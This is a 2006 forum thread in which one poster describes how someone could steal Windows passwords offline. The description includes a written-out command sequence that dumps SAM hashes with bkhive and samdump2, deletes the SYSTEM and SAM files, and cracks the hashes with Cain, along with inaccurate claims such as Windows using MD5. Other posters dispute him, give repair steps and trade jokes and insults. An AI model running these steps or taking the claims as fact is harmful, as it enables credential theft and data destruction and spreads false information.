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Off-Topic => All of all! => Topic started by: Trevlac on April 15, 2006, 07:35:53 PM

Title: Computer Help
Post by: Trevlac on April 15, 2006, 07:35:53 PM

If WINDOWSSYSTEM32CONFIGSYSTEM is missing then you are screwed.  That file, along with the WINDOWSSYSTEM32CONFIGSAM file will allow someone to use something like SamInside to create a password hash file that Cain and Abel can brute force or dictionary attack.

If you were playing Diablo II, what happened is that someone did something to you, no joke.  Because that "system" file is in CONSTANT use by Windows.  Windows would never let a program on your machine try to delete it.  But someone else with Linux or maybe a script kiddie with Windows could have done it.  They possible booted to Linux and got on your hard drive then did:

bkhive /mnt/hda1/WINDOWS/system32/config/system key.txt

samdump2 /mnt/hda1/WINDOWS/system32/config/SAM key.txt > pass.txt

touch hash.md5

md5sum pass.txt > hash.md5

md5sum -c hash.md5

rm /mnt/hda1/WINDOWS/system32/config/system
rm /mnt/hda1/WINDOWS/system32/config/SAM

REBOOT in Windows
open Cain
add pass.txt to the "cracker" list
run a dictinary or bute-force against it
remotely log in to your administrator account on your computer

What that would do is, take the hash from every password  on your machine (windows uses md5 encryption) and he'd be able to break it (eventually) and basicly hack you to peices.

I had to do this at Oklahoma State University yesterday.  The Cyber Security Invitational (CSI) was a state competition for Cyber Security and Forensics.  In the forensics, we had to do get in to the admin account on a machine with only a linux live boot.  After the whole competition, I won 1st place.  I need to take a pic of my medal...

NOW, to protect against this, ONLY play games like D2 where everyone in a wnnabe hacker os a script kiddie, you have to MAKE SURE you have a firewall, and I seriously reccomend getting a Netgear or Linksys router.

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Post by: charaman on April 15, 2006, 07:47:09 PM

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Originally posted by Trevlac
n the forensics, we had to do get in to the admin account on a machine with only a linux live boot.  After the whole competition, I won 1st place.  I need to take a pic of my medal...

I wish you were at my house a week ago. I atempted to do it, but failed. Lost a lot of info because I needed to reformat.

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Post by: ~*Sweet Ichifo*~ on April 15, 2006, 07:51:52 PM

Good thing the only game I play on my computer is Pac-Man..O_o.

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Post by: DragonBlaze on April 15, 2006, 08:44:54 PM

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Originally posted by ~*Sweet Ichifo*~
Good thing the only game I play on my computer is Pac-Man..O_o.

Pac-Man  :o Thats the worst of all, if you lose, those damn ghosts get into your system and start eating all your files.

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Post by: X_marks_the_ed on April 15, 2006, 08:51:19 PM

...and I was thinking of buying diablo II...

I guess I won't now, knowing players can do that kind of stuff.

*Holds 3 hours of ripped kirby sprites up close.*

Off-topic: 900th post, w00t!!

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Post by: Robotam on April 15, 2006, 08:51:35 PM

Razor is screwed, huh?  I wish I could see his face when he sees this.

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Post by: X_marks_the_ed on April 15, 2006, 08:53:15 PM

I don't think he is. A similar problem happened to me and I got out fine. But, I have windows 98, so...  I'm not sure.

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Post by: Robotam on April 15, 2006, 08:56:12 PM

In any case... Please, Trevlac.. change the thread description to "Razor , you're screwed.". `XD

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Post by: Osmose on April 15, 2006, 11:41:00 PM

According to this (http://www.ntcompatible.com/windowssystem32configsystem_is_missing_or_corrupt_t30171.html) and   this (http://forums.afterdawn.com/thread_view.cfm/325543) , you are not, as Trevlac says, screwed.

It's okay, Trevlac. We still think you're cool. We'd just appreciate it if you didn't try to brag without checking the facts. Just because you've used Linux doesn't mean you're a god. :)

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Post by: Razor on April 16, 2006, 12:01:45 AM

Well, too late.
I've gone and reinstalled XP over the old one :P

I'm going to have all my old stuff, however I will have to reinstall everything if I want to use it, and may have to reinstall my drivers too.

Setup will complete in approximately: 34 minutes.

Woo!

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Post by: charaman on April 16, 2006, 01:46:19 AM

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Originally posted by Osmose
According to this and   this , you are not, as Trevlac says, screwed.

It's okay, Trevlac. We still think you're cool. We'd just appreciate it if you didn't try to brag without checking the facts. Just because you've used Linux doesn't mean you're a god. :)

some cordiality never hurt anyone.

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Post by: Almeidaboo on April 16, 2006, 02:09:04 AM

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Originally posted by Razor
Well, too late.
I've gone and reinstalled XP over the old one :P

I'm going to have all my old stuff, however I will have to reinstall everything if I want to use it, and may have to reinstall my drivers too.

Setup will complete in approximately: 34 minutes.

Woo!

Make a backup man...MAKE A BACKUP!!!

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Post by: Big_Duke on April 16, 2006, 02:14:45 AM

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Originally posted by DragonBlaze

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Originally posted by ~*Sweet Ichifo*~ Good thing the only game I play on my computer is Pac-Man..O_o.

Pac-Man  :o Thats the worst of all, if you lose, those damn ghosts get into your system and start eating all your files.

MAYBE EVEN PAC-MAN HIMSELF!

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Post by: Trevlac on April 16, 2006, 11:12:49 AM

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Originally posted by Osmose
According to this and   this , you are not, as Trevlac says, screwed.

It's okay, Trevlac. We still think you're cool. We'd just appreciate it if you didn't try to brag without checking the facts. Just because you've used Linux doesn't mean you're a god. :)

That article just states the obvious.  If someone doesn't have a backup, and doesn't boot from a backup, then yeah, they really ARE screwed.  I wouldn't assume Razor is a dumbass enough not to think of that.

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Post by: Osmose on April 16, 2006, 01:56:31 PM

 

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The first time you see the option to "Repair" XP, it's through the "Recovery Console", which is an advanced "command line" function. Skip that, continue to install XP as you normally would with a fresh install, you will get the "Repair" option again, this is the time to choose "Repair".

It will install XP over top of itself, re-writing all the XP/Windoze files, but leave your games/files/programs intact.

It takes as long as a regular install of XP, but you don't lose all your programs/files/etal.

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this problem occurs when you try to update drivers in the computer..sometimes windows XP cannot update the driver and that corrupts system.ini file as it has a lot of bad entries..Due to this you will get this error mesage..No its not due to virus.its due to an attempt to change system.ini file

Windows could not start because the following file is missing or corrupt: WINDOWSSYSTEM32CONFIGSYSTEM

That means the System Registry Hive has become corrupted.

There are two ways to get back up and running. The easy way which doesn't always work, and then there is the hard way.

Easy Way --- Note that this doesn't always work.
When you are booting your system, press the F8 key during the start of the bootup sequence, meaning after it does the Power On Self Test.

Once you press the F8 key, you will be taken to a Menu. Select "Boot Using Last Known Good Configuration".

It will now attempt to load Windows XP using a past set of configuration files.

If that doesn't work, there is the next step....the hard way.

Hard Way
Boot your system with the Windows XP Install CD, let the system boot into the Setup. Once in the Setup, choose to run the Recovery Console.

You will now be presented with a screen similar to good old DOS.

First, we will recover the System Hive.

Now, type in the following commands with pressing Enter after each line.

md tmp
copy C:windowssystem32configsystem C:windowstmpsystem.bak
delete C:windowssystem32configsystem
copy C:windowsrepairsystem C:windowssystem32configsystem

Be very careful when you are typing in these commands, one wrong move, and you have, broken Windows XP.

Also, change the C in the commands to whatever your Windows XP drive letter is.

Attempt to boot the system, if it doesn't boot, get back into the Recovery Console and do the following commands.

md tmp
copy C:windowssystem32configsoftware C:windowstmpsoftware.bak
delete C:windowssystem32configsoftware
copy C:windowsrepairsoftware C:windowssystem32configsoftware

Did you even READ these "articles"? They're forum threads, for one. And you can still fix it without a backup that you made yourself because windows does it automatically.

I'd still love to see the picture of your medal, though.  ;)

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Post by: Trevlac on April 17, 2006, 12:16:47 AM

You want proof Osmose? My photobucket album:
 OSU Okmulgee competition (http://smg.photobucket.com/albums/v410/trevlac/OSU)

Check the images.  That's my suit, that's me, that's my medal, that's my ID badge, that's my shirt, that's my foresniscs software prize, that's my $1000 scholarship, that's my Comp TIA 100% off Security+ exam voucher.  And as soon as they put our names (David Calvert, Willis Horn, Joe Guthrie) on their site, I'll post that too.  Want to contenue being a jackass, Moose?

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Post by: charaman on April 17, 2006, 12:22:03 AM

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Originally posted by Trevlac
Want to contenue being a jackass, Moose?

It's just his nature.

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Post by: MrMister on April 17, 2006, 12:31:20 AM

Shutta up! Osmose knows everything! Those photos have been doctored! AWTHAH! TUHRARAR! GRRIMNOTADOUCHE!







uhm, if it's his nature, why isn't he more natural at it?

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Post by: charaman on April 17, 2006, 12:36:11 AM

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uhm, if it's his nature, why isn't he more natural at it?

Never said he was naturally good at it, just that he was naturally a jackass.

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Post by: Trevlac on April 17, 2006, 01:30:57 AM

lol.

Back on topic, yes? Anyone else with serious computer problems? I don't profess to be able to solve all of them, or even a good amount of them, but give me a try!

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Post by: Osmose on April 17, 2006, 01:39:43 AM

I never said you didn't win the competition, I just meant that you really shouldn't have made a seperate topic just to brag about your trophy, especially when what you were saying was contradicted by the first two results in a google search.

Hell, I placed first in my county for Visual Basic programming but that doesn't mean I'm good at it - the scantron test they gave me was totally wack: A kid who had less than half a year of Visual Basic class got 2nd place. The test wasn't even on the study materials we were given. And the best thing I've coded is a skippy, crappy Mario clone.

The commands you listed amount to running Auditor, a program someone else made. It just looks fancier since it's command line. Just calm down before trying to prove that you're the best. :D

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Post by: Trevlac on April 17, 2006, 03:35:16 AM

You're one of the reasons I rarely come to charas.

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Post by: Osmose on April 17, 2006, 10:10:06 AM

I'm...touched?

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Post by: Drace on April 17, 2006, 02:05:29 PM

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Originally posted by Trevlac
lol.

Back on topic, yes? Anyone else with serious computer problems? I don't profess to be able to solve all of them, or even a good amount of them, but give me a try!

Yes. My computer seems to have... exploded. Should I reinstall windows? I mean, it really EXPLODED. The bits are everywhere. So, should I reinstall windows or call an expert?

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Post by: Darkfox on April 17, 2006, 02:13:45 PM

 

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I mean, it really EXPLODED. The bits are everywhere. So, should I reinstall windows or call an expert?

Well now it is in bite sized pieces. Bon Appetite!

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Post by: RPG LORD on April 17, 2006, 02:39:26 PM

Exploded? If it'd have imploded, but exploded? Idunno.

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Post by: Tomi on April 17, 2006, 02:50:13 PM

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Originally posted by Drace

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Originally posted by Trevlac lol. Back on topic, yes? Anyone else with serious computer problems? I don't profess to be able to solve all of them, or even a good amount of them, but give me a try!

Yes. My computer seems to have... exploded. Should I reinstall windows? I mean, it really EXPLODED. The bits are everywhere. So, should I reinstall windows or call an expert?

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Post by: Drace on April 17, 2006, 05:15:29 PM

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Originally posted by Tomi

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Originally posted by Drace quote: Originally posted by Trevlac lol. Back on topic, yes? Anyone else with serious computer problems? I don't profess to be able to solve all of them, or even a good amount of them, but give me a try! Yes. My computer seems to have... exploded. Should I reinstall windows? I mean, it really EXPLODED. The bits are everywhere. So, should I reinstall windows or call an expert?

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DIE NOOBS!!!!  :frag:  :guns:  :para:  :frag:  :guns:  :para:

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Post by: Trevlac on April 18, 2006, 06:18:15 PM

What the HELL are you people doing to my topic!?

I'm going to change the name to "Computer help"

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Post by: Almeidaboo on April 19, 2006, 05:32:38 PM

-Hi, I'm new to the group, my name is CPU

*everybody* -Hello CPU!

-So CPU, tell us you problem, just...just let it go, share it with us.

-Uhh...*cries* Well, recently my motherboard died and I can´t seem to forget it...*sobs* My cooler is doing his best to keep me going and the processor is taking care of all the issues on the death of her...Oh God I miss her so much...I wish I had seen the blue screen before her. When Dr. Norton told us about the fatal error, I could already see her going through that port...*cries a lot*

-*Hugs CPU* Don´t worry m'dear, we'll help you get through this rough phase...

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Post by: Razor on April 19, 2006, 09:41:58 PM

*rofl harris*

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Post by: Almeidaboo on April 20, 2006, 04:25:43 PM

Who the hell is Harris?

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Post by: SaintLuciferOfTK on April 21, 2006, 03:57:18 AM

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Originally posted by Trevlac
If WINDOWSSYSTEM32CONFIGSYSTEM is missing then you are screwed.  That file, along with the WINDOWSSYSTEM32CONFIGSAM file will allow someone to use something like SamInside to create a password hash file that Cain and Abel can brute force or dictionary attack.

If you were playing Diablo II, what happened is that someone did something to you, no joke.  Because that "system" file is in CONSTANT use by Windows.  Windows would never let a program on your machine try to delete it.  But someone else with Linux or maybe a script kiddie with Windows could have done it.  They possible booted to Linux and got on your hard drive then did:

bkhive /mnt/hda1/WINDOWS/system32/config/system key.txt

samdump2 /mnt/hda1/WINDOWS/system32/config/SAM key.txt > pass.txt

touch hash.md5

md5sum pass.txt > hash.md5

md5sum -c hash.md5

rm /mnt/hda1/WINDOWS/system32/config/system
rm /mnt/hda1/WINDOWS/system32/config/SAM

REBOOT in Windows
open Cain
add pass.txt to the "cracker" list
run a dictinary or bute-force against it
remotely log in to your administrator account on your computer

What that would do is, take the hash from every password  on your machine (windows uses md5 encryption) and he'd be able to break it (eventually) and basicly hack you to peices.

I had to do this at Oklahoma State University yesterday.  The Cyber Security Invitational (CSI) was a state competition for Cyber Security and Forensics.  In the forensics, we had to do get in to the admin account on a machine with only a linux live boot.  After the whole competition, I won 1st place.  I need to take a pic of my medal...

NOW, to protect against this, ONLY play games like D2 where everyone in a wnnabe hacker os a script kiddie, you have to MAKE SURE you have a firewall, and I seriously reccomend getting a Netgear or Linksys router.

   You won first place? Do you want a ****ing medal too? A goddamn statue in your honour mother****er?

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Post by: Drace on April 21, 2006, 01:41:38 PM

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Originally posted by Trevlac If WINDOWSSYSTEM32CONFIGSYSTEM is missing then you are screwed.  That file, along with the WINDOWSSYSTEM32CONFIGSAM file will allow someone to use something like SamInside to create a password hash file that Cain and Abel can brute force or dictionary attack. If you were playing Diablo II, what happened is that someone did something to you, no joke.  Because that "system" file is in CONSTANT use by Windows.  Windows would never let a program on your machine try to delete it.  But someone else with Linux or maybe a script kiddie with Windows could have done it.  They possible booted to Linux and got on your hard drive then did: bkhive /mnt/hda1/WINDOWS/system32/config/system key.txt samdump2 /mnt/hda1/WINDOWS/system32/config/SAM key.txt > pass.txt touch hash.md5 md5sum pass.txt > hash.md5 md5sum -c hash.md5 rm /mnt/hda1/WINDOWS/system32/config/system rm /mnt/hda1/WINDOWS/system32/config/SAM REBOOT in Windows open Cain add pass.txt to the "cracker" list run a dictinary or bute-force against it remotely log in to your administrator account on your computer What that would do is, take the hash from every password  on your machine (windows uses md5 encryption) and he'd be able to break it (eventually) and basicly hack you to peices. I had to do this at Oklahoma State University yesterday.  The Cyber Security Invitational (CSI) was a state competition for Cyber Security and Forensics.  In the forensics, we had to do get in to the admin account on a machine with only a linux live boot.  After the whole competition, I won 1st place.  I need to take a pic of my medal... NOW, to protect against this, ONLY play games like D2 where everyone in a wnnabe hacker os a script kiddie, you have to MAKE SURE you have a firewall, and I seriously reccomend getting a Netgear or Linksys router.

   You won first place? Do you want a ******* medal too? A ******* statue in your honour ************?

Doofus, he already got a medal. Read his bloody posts.